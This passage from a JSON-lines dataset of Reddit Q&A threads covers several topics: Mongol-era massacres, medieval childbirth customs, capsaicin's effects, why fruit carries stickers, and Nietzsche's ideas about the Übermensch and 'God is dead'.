infamous massacres haven't been properly excavated, as they tend to sit in politically unstable areas and are often distant from current population centers. I'd say even 50 million is a significant under-counting if you include Timurlame.\n\nWe have significant archaeological evidence for the massacres, including the changing of densely populated farmland to forest. One study actually estimated that 700 million tons of carbon were sequestered by the trees that grew in the areas the Mongols depopulated.", "One more thought on the idea of \"Mass Graves': One reason they may be rare (to find anyway) may be that the idea of digging large graves for lots of people is probably something that has been done in recent history much more than it was done in the past. Mass burning of bodies was pretty common after battles...and simply NOT burying bodies was also very common (the Soviets reportedly simply LEFT tens of thousands of unburied WW2 dead on the fields where they fell).\n\nWhen that happens, you don't get concentrated bonefields after a lot of time has elapsed. When mass graves are found (such as the \"Viking\" burial at Wisby/Visby) it is unusual.", "Not a mass grave, but a simple reminder of the mongol conquest unearhted in Hungary in 2005. It's a burned down house, where three skeletons were found in the fireplace (a traditional hungarian fireplace was large, sturdy and made of clay: \"kemence\"). The skeleton of a 8-10 years old girl and a 10-11 years old boy were found in the fireplace, cuddled togather, the boy clutching some kitchen equipment for defense. A 20-30 year old woman's skeleton was found, partially in the fireplace, most likely the kids mother. The house was burned down, all three of them suffocated in the smoke, the attackers never bothered to take their possessions, a coin was found on the boy. Unfortunately the article is in hungarian, yet you can see a reconstruction of the house they lived in. Some more skeletons were found in the ruins, with clear marks from meele weapons, none of them buried only thrown into a ditch. The village was never rebuilt, the surviving inhabitants never came back to bury their dead. So there are clear examples of the victims of the mongolian conquest.\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.karakalpak.com/ancgurganj.html", "http://www.ucalgary.ca/applied_history/tutor/islam/mongols/ilkhanate.html", "http://www.cambridge.org/gb/knowledge/series/series_display/item3937001/?site_locale=en_GB", "http://whc.unesco.org/en/list/1199", "http://mesharpe.metapress.com/app/home/contribution.asp?referrer=parent&amp;backto=issue,5,5;journal,28,197;linkingpublicationresults,1:110900,1", "http://www.everyculture.com/Ma-Ni/Mongolia.html"], [], [], [], ["http://sirasok.blog.hu/2010/04/16/halottak_a_kemenceben"]]}
{"q_id": "4hlpu8", "title": "Need Help", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4hlpu8/need_help/", "answers": {"a_id": ["d2qo5fz"], "score": [2], "text": ["Hello there. Unfortunately we have had to remove your question as it looks like it may be a homework question. A couple of things to keep in mind about this: [Our rules](_URL_1_) DO permit people to ask for help with their homework, so long as they are seeking clarification or resources, rather than the answer itself. Also: Sometimes flairs can be reluctant to answer a question that looks like homework, because they don't want to be involved in plagiarism (and sadly, yes, there are those who plagiarize reddit comments). \n\nBut, that all said, many of our users do enjoy helping out with suggestions for resources and further reading. Can you tell us what you've researched so far, what resources you've consulted, and what you've learned? If that doesn't work, you can also consider asking the helpful people at /r/HomeworkHelp. If you edit your post to be in compliance with our requirements for homework related questions, which are explored in more detail in this [META Thread](_URL_0_), we would be happy to restore it.\n\nAdditionally, we would highly suggest that you check out our six part series on '[Finding and Understanding Sources](_URL_2_)', which might prove to be useful in your research."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/35pkem/askhistorians_homework_question_policy_rehash/", "http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_homework", "https://www.reddit.com/r/AskHistorians/wiki/theory#wiki_monday_methods.3A_finding_and_understanding_sources"]]}
{"q_id": "2i0uzk", "title": "How and when did the gaelic culture (bagpipes, etc.) get into the Iberian Peninsula?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2i0uzk/how_and_when_did_the_gaelic_culture_bagpipes_etc/", "answers": {"a_id": ["ckxu1si", "ckyc8uo"], "score": [11, 2], "text": ["Bagpipes are not unique to the Gaelic culture. They are found throughout large parts of Europe, the Caucasus, around the Persian Gulf and in Northern Africa, and in Spain. ", "During the Germanic expansion into Britain after the Romans left, Celtic Britons were often displaced west. Some groups were displaced so far that they fled Britain entirely and moved to NW France (modern Brittany) and northern Spain (mostly Galicia and Asturias). Celtic Brittany managed to stay more or less independent until 1500, which allowed it to keep its own Celtic language and culture. Galicia and Asturias, however, were absorbed into the larger kingdoms of Iberia. This reduced the historic Celtic influence on the culture. However, the Celtic history of those regions was still recognized, and during the Celtic revival of the 1960s and 70s, promoters of Celtic identity took on Pan-Celtic aspects, such as bagpipes, that had not necessarily been part of the culture originally, to attempt to reclaim a wider forgotten heritage. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cgclje", "title": "I'm a European woman in the middle ages preparing for childbirth. What am I doing to ensure that I and my baby survive and live healthy lives?", "selftext": "Were there prayers, herbs, rituals, etc. that I would be expected to use? What kind of superstitions might I have? Am I looking forward to the baby, or understandably nervous about the possibility of death? And am I preparing myself for that possibility spiritually as well? \n\nI'm assuming that most European experiences would be Christian, but I'd love to hear a Jewish or other experience as well. Most interested in high middle ages, but again, not necessarily picky if you've got something interesting to share!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cgclje/im_a_european_woman_in_the_middle_ages_preparing/", "answers": {"a_id": ["eugi9yp", "eugxu2y", "euhs23f", "euibpre"], "score": [1441, 142, 23, 30], "text": ["*(I felt guilty about just linking, and wrote a new answer. Enjoy!)*\n\nChildhood mortality in the European Middle Ages was around 50% by age 15, with the first four months of life being the most dangerous. Mothers, meanwhile, had somewhere between a 1%-2% chance of dying in an individual childbirth (scholarships estimate about a 10% chance of dying in childbirth over the whole course of one's life, with first births being the most dangerous). So as you can imagine, both medieval society at large and medieval women developed strategies they hoped would offer some protection.\n\nMedieval medical and legal texts had a certain way of treating pregnant women as essentially the biological matter surrounding the reproductive system. The enormously popular *On the Secrets of Women*, falsely attributed to Albert the Great to give it more authority, has a chapter called \"On the Exit of the Fetus from the Uterus.\" He couldn\u2019t have said \"giving birth\"?\n\nFurthermore, women were seen as a *danger* to the fetus, ready to miscarry (accidentally or on purpose) at the wisp of a feather. This belief gave rise to some two-faced charity efforts that might seem all too familiar today: a willingness to help pregnant women\u2026and only *pregnant* women, not new mothers and their babies.\n\nThe most frequent form of charity involved food. This could mean looking the other way when a future mother stole food. In English and French law in the late Middle Ages, it could mean not necessarily looking the other way, but at least delaying corporal punishment (whipping, the pillory,  & c.) until after the baby was born. Some cities, however, organized formal food distribution to pregnant impoverished women. The best example is early modern, not medieval, but it\u2019s worth it: in seventeenth-century Constance, civic officials made sure that all pregnant women got a wine ration.\n\nOne fourteenth-century mayor London went a step further than handing out food. He founded a special section of a city hospital (kind of like a long-term homeless shelter place, not necessarily what we think of as a hospital) that had eight beds for women who were pregnant outside of wedlock\u2014the implication is strongly that they were prostitutes and the goal was for them to not try to induce a miscarriage. Again, this was only a temporary home; Whittington kind of hoped the women would use this as a chance to turn around their lives, but you know, probably a little money or some help once they had a kid to take care of would have done a lot more on that end.\n\nAristocratic and noblewomen faced their own challenges in terms of being treated as a danger. We know from actual practice, not just prescriptive law, that many pregnant noblewomen had to endure violating physical examinations to make sure they were actually pregnant (not just claiming to be in order to avoid sex with their husbands). Agnes de Turs faced examination by *eight* women, who poked and prodded her breasts and stomach while asking her a whole host of questions about her sex life. Johanna de San Martino was locked away from even her friends and servants of childbearing age for the duration of her pregnancy\u2014was her husband afraid that she would be exchanging abortion tips with her friends or something?\n\nFunny, in all of this, few people seem to have taken note of one of the biggest dangers to pregant women and their children: men.\n\nFifteenth-century pastoral writer Dietrich Koelde even had special instructions for pregnant women in his handbook to a religious, moral life:\n\n >   >  Furthermore, the woman should be meek and she should not anger her husband, because much evil and harm results from this.\n\nKoelde acknowledges the situation\u2026but nowhere does he tell husbands not to abuse their wives. He tells wives not to make their husbands abuse them.\n\nEven in this hostile environment, medieval women developed their own strategies to actually *care for* themselves and their future children. Rich women had more options, if they could evade the fate of Johanna de San Martino. Queen Eleanor and Henry III (so, not *that* Eleanor and Henry) insisted on remaining together in France for the duration of her pregnancy; Matilda of Saxony (the daughter of *that* Eleanor and Henry, yes) traveled home to stay with her father, where she felt she and her baby would be safer and have better care.\n\nOne of the most important things women did to protect themselves and their children was to prepare the birthing and lying-in room. Since this was an all-female environment, as a general rule, it *did* protect women from spousal abuse for a time. It also allowed the placement of various religious objects and charms that women hoped would protect them. My favorite example (well, probably every medievalist\u2019s favorite example) is St. Margaret of Antioch. She\u2019s one of the dragon-slayer saints, who was actually *eaten* by a dragon while in jail for being a Christian. (She\u2019s one of the so-called virgin martyrs, who didn\u2019t exist but have awesome life narratives).\n\nIn her hagiography, Margaret slays the dragon by bursting out of its stomach! Medieval iconography takes a very particular angle on this event. Illuminators depict it in the same way they show births by Caesarean section. A C-section was the absolute last resort for a difficult birth in the Middle Ages, since it *inevitably* meant the death of the mother. (There is one example floating around the Internet where someone claimed they found a late medieval Czech case of the alternative. Monica Green, who is THE authority here, has explained patiently why that claim is false several times.)\n\nFor medieval women heading into childbirth, charms featuring Margaret of Antioch, or her name, or even just a scrap of paper/parchment with her name or part of her hagiography written on it, could serve as a way to ward off the possibility of needing a C-section in order to save the baby.\n\nAnd while doctors were only ever called in to perform C-sections or other procedures would die, women would do their best to obtain the presence of a midwife. This was practical, but it was also spiritual. Just in case all else failed, the Church endowed midwives with a special prerogative otherwise reserved for the clergy. In an emergency situation, where there was absolutely no time to wait, they were empowered to perform baptisms. So a baby born dead or dying could still make it to heaven.\n\n~~\n\nYou can also read some of my earlier answers if you're interested:\n\n* [I'm an upper class woman in high middle ages Europe who has just become pregnant for the first time. How would my life change over the next several months?](_URL_2_)\n* [Maternal mortality in 1400 England](_URL_1_)\n* [On St. Margaret of Antioch, dragon-slayer](_URL_0_)", "With all due respect to the wonderful /u/sunagainstgold and what is truly an excellent answer ... the answer misses a crucial aspect of what was needed to make certain the mother and baby survived.\n\nWhat about the fairies!!!!\n\nWhether called fairies, elves, piskies, trolls, or variations on the term hidden folk (and several other terms), these entities represented a leading concern: these supernatural neighbors would abduct mother or child if they found an opportunity. Childbirth made both particularly vulnerable to abduction, typically accomplished by leaving a stock in place of the mother (a dummy that would magically appear to be her corpse) or a changeling (a living supernatural being made to look like the baby, but it would fail to thrive and grow normally).\n\n/u/sunagainstgold hints at one of the ways to address this problem: \"It also allowed the placement of various religious objects and charms that women hoped would protect them.\" It was also important the close up the house so the supernatural beings couldn't sneak in through a window or door. Iron needed to placed above doors, and something of iron should be hung above the crib.\n\nIt was of course necessary to have the baby baptized as quickly as possible, since this inhibited - but it did not altogether prevent - the threat of abduction. In addition, it was of crucial importance for the mother to be \"churched\": this involved a ceremony not unlike baptism, allowing her back into the congregation after participating in an inherently animal-like undertaking that was outside the Church (this is how my Swedish mentor, Sven S. Liljeblad (1889-2000), described what his mother had to do after his birth). Usually a new mother who was able to be churched reduced her vulnerability to abduction considerably, but until that time, mother and child were best kept indoors in a closed house, preferably with someone on guard. And with lots of iron around. Iron is always a good preventative against the dangerous undertakings of these supernatural beings.", "Even though a pregnant woman's risk of dying in childbirth was relatively low compared to infant mortality, it was still a common fear then, as it is now. As female literacy improved throughout the 1500s and onwards, women would write \"legacies\" for their unborn children - parenting guides dedicated to explaining how best to raise their children in the advent of their own death in childbirth.\n\n\nCould someone with more knowledge than myself expand on this practice? It seems tangentially related to the topic - not a charm or superstition, but a sort of ritual anyway.", "Okay, so last week [I wrote an answer](_URL_0_) about how Jewish parents dealt with the death of their children, basing a great deal of it on Elisheva Baumgarten's excellent book *Mothers and Children.* I went back to it now and just flipped to an earlier chapter to get an idea of what was going on. (Unlike my other answer, in which I also drew on my prior knowledge, I genuinely couldn't find any other sources of information about this besides Baumgarten's book. But it's great, so who cares.)\n\nNow one thing that I'll mention that I SHOULD HAVE mentioned in the other answer is that a lot of what Baumgarten does is cite passages from midrash and the Talmud- Jewish sources which often antedate the medieval era- and assume that these are dicta by which Jews lived. This is generally accurate- that said, just reading a midrash's take on a subject doesn't mean that we can assume that that is how every new parent *actually* thought. But it's the general Jewish ethos to the extent that it was different from the surrounding Christian one, for which of course see u/sunagainstgold's as always excellent answer.\n\nSo Baumgarten opens her chapter with a midrash about what the expectant parents (particularly the father) pray for- \"for the first three days... that the infant should not decompose; from three to forty days... that it should be a male\\*; from forty days to three months... that it should not be miscarried; from three months to six months... that it should not be stillborn; from six months to nine months... that it should be born safely.\" She notes that the mother isn't super present in this, and says that she wants to bring the focus back on to her. She also notes, though, that it's very difficult for scholars to penetrate the women-only world of the birthing room.\n\nWomen were VERY intent on being able to become mothers. The Bible provides many examples of women- Sarah, Rebecca, Rachel, Hannah- who were unable to conceive and distraught about it; Rabbi Judah the Pious, a prominent (if somewhat hard-line and ascetic) medieval rabbinic figure, wrote in his commentary on Genesis that the Bible uses the plural \"the *lives* of Sarah\" because she had one life before giving birth to Isaac and was \"reborn\" afterward. Men are not depicted as being equally desperate for children, but were encouraged to seek out wives who would bear them offspring; in Rabbi Judah the Pious's work Sefer Chassidim, he gives two pieces of marriage advice: that men should seek out women who will bear children and whose mothers don't have a history of miscarriage, and that even if men don't have a natural love or affection for their wives they should love them anyway for the children they bear for them. Marriage and the creation of future generations (\"p'ru u'revu,\" be fruitful and multiply) are extremely important in Judaism- but ironically, while the women are the ones who bear the children, it is only the men who are obligated in the commandment to be fruitful and multiply (have children). There are two different ways to see this: either as a positive for women, in that it is impossible to command a person to do something which is hazardous to their health (as bearing children is to women), or as a negative, in that they are merely seen as receptacles for the commandment incumbent upon men.\n\nConception of a baby was seen as each parent contributing its own seed, per Galen; the woman provided the seed for the skin, blood and hair, and the man provided the seed for the bones, nails and brain. While fertility was considered an accomplishment of the father, infertility was often blamed on the mother- or, in the rare occasions that it was attributed to the father, it was blamed on witchcraft inflicted by a woman. Women's reproductive health was monitored by midwives at the ritual bath (mikvah) each month; men's was not, as it was seen as embarrassing to him. There were also several tests (adopted from Christian sources) involved in determining infertility in otherwise healthy couples, mostly focusing on the woman- for example, if a woman urinates on a leaf and it dries up, she is sterile, and if a man's semen is poured in cold water and does not take the shape of a man then he is sterile. Since divorce is a built-in part of Judaism (unlike in Christianity), it was seen as a way for both men and, to a lesser extent, women to break free of childless marriages- men by divorcing their wives if they had not been able to fulfill the commandment to have children after ten years, and women by asking for a divorce\\*\\* if their husband will not give them children due to the inherent loss perceived in their life- see above for how significant child-bearing is for them.\n\nSo now on to what you ACTUALLY asked about- the woman pregnant and in labor. Women hoped for pregnancy from the time they got married, and as mentioned they were examined monthly by midwives at the ritual bath, which is where their pregnancies would be confirmed. From that point, the woman did her best to stay protect herself and the baby including through the use of prayers, amulets and incantations- some amulets included gemstones, gold coins, animal parts, or her husband' belt. She was not supposed to leave the house alone, and was given anything she wanted, particularly healthy foods. Her husband would hire a midwife who would oversee her care and delivery. Midwives were highly regarded, called in the Jewish community (as in the surrounding Christian communities) \"wise women\"; even rabbis writing responsa would consult midwives when it came to questions of gynecology which were beyond them. Unfortunately, few sources elaborate on the actual medical practices of these midwives, who were generally older women who had borne children and who were official but unregulated. However, one source, a circumcision manual, mentions herbs used during labor, including some which were smoked under the birthing stool. It also elaborates on the need to beware of the curse of the malevolent midwife, which could prevent women from conceiving or from giving birth.\n\nAs mentioned in the midrash I cited above, there were many fears associated with pregnancy and labor, but one should note that nowhere there does it mention the fear that the mother will die. That is considered to be on her head, though she is to be prayed for (the first known customized blessings \\[\"mi shebeirach\"s\\] said when reading the Torah during prayer were for women giving birth). Traditionally, women were seen to protect their lives during labor via the observance of the three \"women's commandments,\" which are meant to compensate for Eve's sin in allowing Adam to eat from the Tree of Knowledge- lighting candles on the Sabbath, taking challah\\*\\*\\*, and ritual purity in marital relations. However, by medieval times, childbirth was seen as a time when a woman was judged for all of her actions- Rabbi Judah the Pious encouraged people not to say anything bad about a woman in labor so that her bad deeds would not be remembered and judged against her. Labor was seen as necessarily painful, difficult and dangerous- again, part of Eve's curse. (In this regard Jewish and Christian beliefs aligned.)\n\nThe birthing room was specifically arranged in order to ensure a safe delivery of the baby. The woman specifically needed to be protected from the midrashic figure Lilith, seen as a malevolent demon. To protect against her, amulets were hung around the room, an iron knife (the Hebrew word for iron, barzel, is an acronym for the initials of Jacob's wives- Bilhah, Rachel, Zilpah and Leah) placed under the woman's pillow, and verses and chants were said to hurry delivery and prevent evil spirits from interfering. There were many women present to assist, specifically including the midwife, for physical assistance, and a woman designated to pray for the mother. The midwife was usually Jewish; while Christian midwives were permitted by Jewish law to deliver Jewish babies, mothers were told not to be left alone with them for fear that the midwife would kill the baby- this seems to have been related to a fear that a Christian midwife might try to convert the mother or baptize the baby during birth (a not unreasonable fear considering the strain of birth and the very religious nature of birthing rituals, both Christian and Jewish).\n\n & #x200B;\n\n\\*There are many rabbinic sources for a preference for boys, who were seen as more important. There is a controversy in the Talmud over whether the commandment to be fruitful and multiply means to have one boy and one girl or two boys; a medieval commentary on Genesis remarks that the reason why the twelve sons of Jacob have their names explained but his daughter does not is that the daughter was not as significant. According to the Talmud, the gender of the baby is finalized at 40 days, and up until that point the father can pray for a boy; however, after that point, he is warned not to pray anymore.\n\n\\*\\*In Judaism, the man divorces the woman and not vice versa. While women could ask for and be granted a divorce in this case, this often involved them having to give up the money owed to them in their marriage contract (ketubah).\n\n\\*\\*\\*Challah, while also known as the name given to Ashkenazic Jewish bread eaten on the Sabbath, is actually originally the portion of the dough which is taken off and given as a tithe to the priests."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/50bjqz/tuesday_trivia_magic/d72pkys/", "https://www.reddit.com/r/AskHistorians/comments/3w2690/suppose_youre_giving_birth_in_1398_in_either/cxsrm98/", "https://www.reddit.com/r/AskHistorians/comments/5dnhci/lets_say_im_an_upper_class_woman_in_high_middle/da6megx/"], [], [], ["https://www.reddit.com/r/AskHistorians/comments/cedlgu/the_loss_of_an_infant_or_child_is_a_tragedy_and/eu2v4cj/?context=3"]]}
{"q_id": "idqbi", "title": "Can too much capsaicin actually hurt you?", "selftext": "I mean, obviously it hurts like a bitch.  But is the pain you're feeling directly related to any actual damage, perhaps at a much higher level of concentration of the chemical?\n\nEdit: Just to clarify.  I'm wondering specifically if the feeling of pain and burning is because you are actually being hurt in some way.  It is absolutely fascinating to hear all these stories, though.  Godspeed, super-hot pepper eaters.  I could never be so brave.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/idqbi/can_too_much_capsaicin_actually_hurt_you/", "answers": {"a_id": ["c22x3mo", "c22xd5k", "c22xe0j", "c22xibx", "c22xrly", "c22zzas"], "score": [86, 5, 91, 15, 10, 6], "text": ["That's what pepper spray is.\n\nIt's possible to choke on your own mucus because of it.", "Yes. It can cause the skin to blister.", "Well, it's go an LD50 of 47.2 mg/kg, and if ingested it large quantities can cause abdominal pain and vomiting. Because its action upon neurones simulates a response to burning, the tissue at contact often becomes inflamed which can cause permanent damage, just like any inflammatory.\n\nDietary consumption is usually fine unless it's taken to extremes.", "Anecdotal:\nThere was a shop at the local mall that specialized in hot sauce. There was a sauce there which had a recommended serving size of one drop per pot of chili. Some lady didn't believe the label  &  poured a bunch on her meal at the food court. She wound up passing out and being taken away by ambulance. Not sure what happened to her, but it probably sucked.", "At the very least, being in agony for hours could fuck with someones head.  \n\n\nBut [my guess is it could really hurt you](_URL_0_).  Though [capsaicin does not actually cause a chemical burn, or indeed any direct tissue damage at all, when chili peppers are the source of exposure](_URL_2_).  \n\n\nAt the same time [The inflammation caused by the burn or physical abrasion that the body believes it has undergone can potentially cause tissue damage in cases of extreme exposure, as is the case for many substances that trick the body.](_URL_2_)  \n\n\nSo, from that, it sounds like chili peppers will not cause damage, but extract can.  \n\n\nAll that begs the question, if we breed actual peppers that have the strength of pepper spray, etc. will it hurt you?\n\n\nI like this question, as I myself have wondered the same thing.\n\nEdit:\n\nI suppose it depends on what you mean by \"actually hurt you\" as well.  For Pepper spray [The effects of pepper spray are far more severe, including temporary blindness which lasts from 15-30 minutes, a burning sensation of the skin which lasts from 45 to 60 minutes, upper body spasms which force a person to bend forward and uncontrollable coughing making it difficult to breathe or speak for between 3 to 15 minutes.](_URL_1_).  That's not _permanent_ but I think most people would say that it hurts.  ", "A little late to the party: pure capscaicin can and does do permanent nerve damage: this is not because of the feeling but it's ability to enter the cell and act a toxin. Generally when handling it you have to handle it in a glove box or using cannulas: the crystal is ever so slightly volatile, and tiny amounts of it in the air don't so much choke as make it difficult to breath and see (its a fair lachyrmator) For comparison: bear mace is diluted roughly by a factor of 30 before it becomes a spray. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Capsaicin#Acute_health_effects", "http://en.wikipedia.org/wiki/Pepper_spray#Effects", "http://en.wikipedia.org/wiki/Capsaicin#Mechanism_of_action"], []]}
{"q_id": "kd30v", "title": "What are nutrients needed to make hair ? I have a lot of pilosity, is my body wasting nutrients ?", "selftext": "Well I can't describe the question better than what's in the title...\n\nOddly I have northern-europe and also spanish descendance, so I can hardly bear heat, but I also have a lot of hair.\n\nAm I being punished by climate change ?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kd30v/what_are_nutrients_needed_to_make_hair_i_have_a/", "answers": {"a_id": ["c2jbm2d", "c2jbm2d"], "score": [2, 2], "text": ["Just keratin and collagen, proteins derived from amino acids, and you (in all likeliness) are not malnourished / or vegan so you aren't really \"wasting\" nutrients, they would either be excreted or simply circulate around in your blood until they could become useful, or are degraded by shuttling the amino acids into the TCA cycle for energy.", "Just keratin and collagen, proteins derived from amino acids, and you (in all likeliness) are not malnourished / or vegan so you aren't really \"wasting\" nutrients, they would either be excreted or simply circulate around in your blood until they could become useful, or are degraded by shuttling the amino acids into the TCA cycle for energy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "uac2x", "title": "how and why are stickers put on fruit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/uac2x/eli5_how_and_why_are_stickers_put_on_fruit/", "answers": {"a_id": ["c4tndh8", "c4tnf39"], "score": [7, 11], "text": ["It gives the cashiers a number they can quickly type into the register.", "It is a label telling you which orchard or fruit company processed the fruit.  \nIt is put on by a [sticker machine](_URL_0_) that is a wheel of vacuums holding the sticker and just waiting for a fruit to run into it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=8Shx9ByIIsQ"]]}
{"q_id": "5lf0p0", "title": "what was nietzche's philosophy, exactly?", "selftext": " I am at a loss as to what they mean. I'm having a hard time understanding concepts such as \"God is Dead\" or \"Ubermensch\" and only have a vague interpretation as to what they are. Any help will be gladly received so thank you in advance.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5lf0p0/eli5_what_was_nietzches_philosophy_exactly/", "answers": {"a_id": ["dbv6m77", "dbv9hm6", "dbv9ldo", "dbvjtx3", "dbvn4ec", "dbvntmc", "dbvrtca", "dbvteyr", "dbvwq9v", "dbvxsac", "dbw7bj8"], "score": [686, 69, 172, 26, 7, 10, 3, 7, 35, 6, 3], "text": ["Nietzsche's \"Ubermensch\" is the goal that society should set for itself in the process of rejecting the morality of religion, particularly the Christian/Catholic Church. Nietzsche saw the Church's influence and power over society as the sick man's victory over the healthy man, as a real perversion, etc. In short, he wasn't a fan.\n\n\"God is dead\" is simply Nietzsche's way of saying that we do not have to rely on God to give meaning to life. And in effort to stave off nihilism, Nietzsche argues for the need of the \"Ubermensch\". \n\nThe \"Ubermensch\" creates new values that must be motivated by a love of this world and of life. Whereas Nietzsche diagnosed the Christian value system as a reaction against life and hence destructive in a sense, the new values which the \u00dcbermensch will be responsible for will be life-affirming and creative. [Source](_URL_0_). So rather than God giving us meaning to life, *we* give ourselves that meaning.\n\nNietzsche kind of gets a bad rep, in some instances, as being this incredibly nihilistic person but in fact I think he was looking for a way to usurp the power of religion whilst also resisting nihilism and the concept of the Ubermensch was his attempt at doing so. \n\n", "In a nutshell, Nietzche was all about How Not to Give a Fuck in the most constructive way possible.\n\nNihilists deal with existential angst by denying reality.  They say stuff like \"What's the point of this anyway?  Might as well just drive off a cliff. It won't make a difference.\"\n\nBut Nietzche, as an existentialist, believed that there is a \"point\"--that which we create for ourselves.  You can drive off a cliff, but you'd be wasting all your potential by doing so. \n\nNietzche also felt that pain should be embraced.  Religion is bad because people use it to drown out their pain.  But Nietzche argued that pain is useful for self-improvement.  You can only recognize your own unfulfilled needs through pain.  A healthy person recognizes that suffering and loss are essential for a well-lived life.  \n\n", "The other half of this, which Cyclone_1 touched on, was Nietzche's \"Genealogy of Morals.\"  In ancient times, there was nothing wrong with the strong being strong.  If a person was wealthy and powerful, then it was only natural that they would be the leaders.  They were seen as being inherently better people or (often) blessed by the Gods.  This is what Nietzche calls \"Master Morality.\"\n\nWhen Christianity came along, it inverted the moral system.  Christianity's adherents knew they were not powerful enough to overthrow the existing regimes, but they could subvert it.  This is why Christ promises that \"the meek shall inherit the Earth,\" among other things.  Now to be rich and powerful was shameful, while humility and poverty were considered virtuous.  This is what Nietzche calls \"Slave Morality.\"  Not in the sense of literal slavery, perhaps, but rather a system of morality designed to appeal to the weak, the poor, and the underclass of society.  \n\nSo which system of morality is better?  Nietzche says, \"Neither.\"  It is better to invent your own system of morality without caring what other people think.  Nietzche's *Ubermensch* is a person who is completely liberated and lives exactly as they please without being controlled by other people's expectations. \n\nNietzche gets a bad rap, which is not entirely deserved.  He paints Christianity as being a manipulative ideology that caters to the weakest minds, and I'm not sure he's wrong on that point.  The idea of the Ubermensch also got caught up in Nazi Germany.  So now when people hear the word, they assume you are talking about Hitler's idealized Aryan race.  This is not at all what Nietzche was talking about.  \n\nYou can learn more here:  _URL_0_", "Noteworthy is the way to become a \u00dcbermensch as nobody is born as one. \nTo become one the individual has to detect the eternal recurrence of everything hence everything is somewhat irrelevant. The only factor that can effectively be changed is on a individual level and to make yourself the creator of your values. Nietzsche describes this in three steps with the first one in which the person still sticks to the values of society, the \"Herdenmensch\". After recognizing the eternal recurrence and the status of nihilism accompanying the devalued former values he becomes the \"schwellenmensch\" and when he finally makes his own values and with this conquers the nihilism he finally becomes the \u00fcbermensch. You can basically say that the nihilism is somewhat necessary as it follows naturally the recognition that all the former values are worth nothing. ", "Nietzsche was an extistentialist with a true understanding of nihilism. He wasn't a nice guy though. In his book 'Die fr\u00f6hliche Wissenschaft' I had the feeling I was reading the thoughts of a man with a superior attitude towards almost every one.", "In terms of the meaning of life, where Nietzsche is considered one of the more prominent naturalists, he has two main premises.\n\nPremise 1: In order for a persons life to have meaning, they must manifest the Will to Power. The will to power in this instance being overcoming limitations and self-improvement.\n\nPremise 2: A person can manifest the will to power, therefore\n\nConclusion: A persons life can have meaning, so long as they manifest the will to power.\n\n\nNietzsche came up with the concept of the Ubermensch, which is a collection of people who live every day of their lives manifesting the will to power. In his book \"Thus Spoke Zarathrustra\", a tightrope walker competed with another more skilled opponent, fell off of the rope and died. The main character in the book, known as Zoroaster, believed that the tightrope walker was one of the Ubermensch, as he lived every day improving himself, and facing constantly overcoming adversity. Even if he isn't the most talented, and even if he eventually is beaten by someone else better than him at his task, his life has had meaning.\n\nFor instance, a little old woman can be a member of the Ubermensch, if instead of wallowing in bed all day she pushes herself to walk, even if it's the most difficult thing in the world for her to do. Even if she can never do it with skill or finesse, so long as she tries her hardest to accomplish that goal, her life will have meaning so long as she does this. ", "To be the truth yourself. To decide for yourself what is right. To set the law yourself and obey it. To become the greatest self of which you are capable. To face reality. To laugh in the face of it all. To be a cosmic bad ass.\nTo live a life so awesome that even if you had to repeat it over and over again for all eternity, you would gladly do so.", "He spoke a lot about how the enlightenment destroyed he credibility of Christianity and with it the psychological and existential framework for a healthy society.  Even with all its flaws, Christianity was the bedrock of society for over a thousand years.  Freddie talked about how society needed something to replace it that wasn't beholden to the divine.  I think he was arguing that people needed something to believe in in order to function day to day.  A higher calling of the superior personality. He was scared that nihilism would devolve into rabid totalitarianism and injustice.  ", "I could wrong but the word \"good\" comes from \"god.\" Whatever ideals we consider good are what god considers good in religious texts. I don't think Nietzsche was outright saying that there is no God but that if you consider the possibility of no god, that means whatever basis you had for \"good\" is now gone. \n\nWhat can happen is since there is no more basis for right or wrong, people will lose hope and find life meaningless and futile and become nihilists. Or if you're a strong enough individual, you create your own set of values and live your life on your terms and become an \"uberman\" or ubermensch.\n\n ", "Nietzsche's thinking focused on investigating *values*. Whenever we think about ethics, try to live a good life, or condemn others for being assholes, we are implicitly assuming some values. But what does it mean to value something? Why do we tend to share values? What is the historical source of those values? It turns out that people in different societies and at different times have different values, and so our values must have historical sources. As an example, we tend to think that cannibalism is terrible, but in some societies it is Ok. In order to understand our society and ourselves we must look towards the sources of our values. Of course, once you realize that our values have a historical source, then you realize that at some point someone made them up. Nietzsche points to several individuals who were sources of our values, such as Socrates and Jesus, as well as to various historical and political factors that contributed to the origin and development of various values systems.\n\nOne of the most confusing aspects of Nietzsche is this idea that our value systems are made up. It's confusing because it looks like Nietzsche is criticizing our value system by saying this, but he's not. After all, *all* value systems, everywhere, were made up at one point, so it's not like our value system is thereby worse than any other. More to the point, the thing that Nietzsche really *likes* is the activity of making up value systems. That's the way that he thinks that we impose ourselves upon the world (Will to Power). Nietzsche wants us to keep making up new value systems, not to just be stuck with the ones we are given. The \"ubermensch\" is the person who whom Nietzsche calls on to make up new value systems. The quote that \"God is dead\" is an acknowledgement that our value systems are already changing and we no longer value God in the way that people used to. As u/Cyclone_1 already noted, it might also indicate Nietzsche's liking for the creation of new value systems.\n\n", "There is no inherent meaning to life. The good news is: you get to make your own meaning. So if you get to make your own meaning, why not try to be the best person you can be (ubermensch) and enjoy life?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": 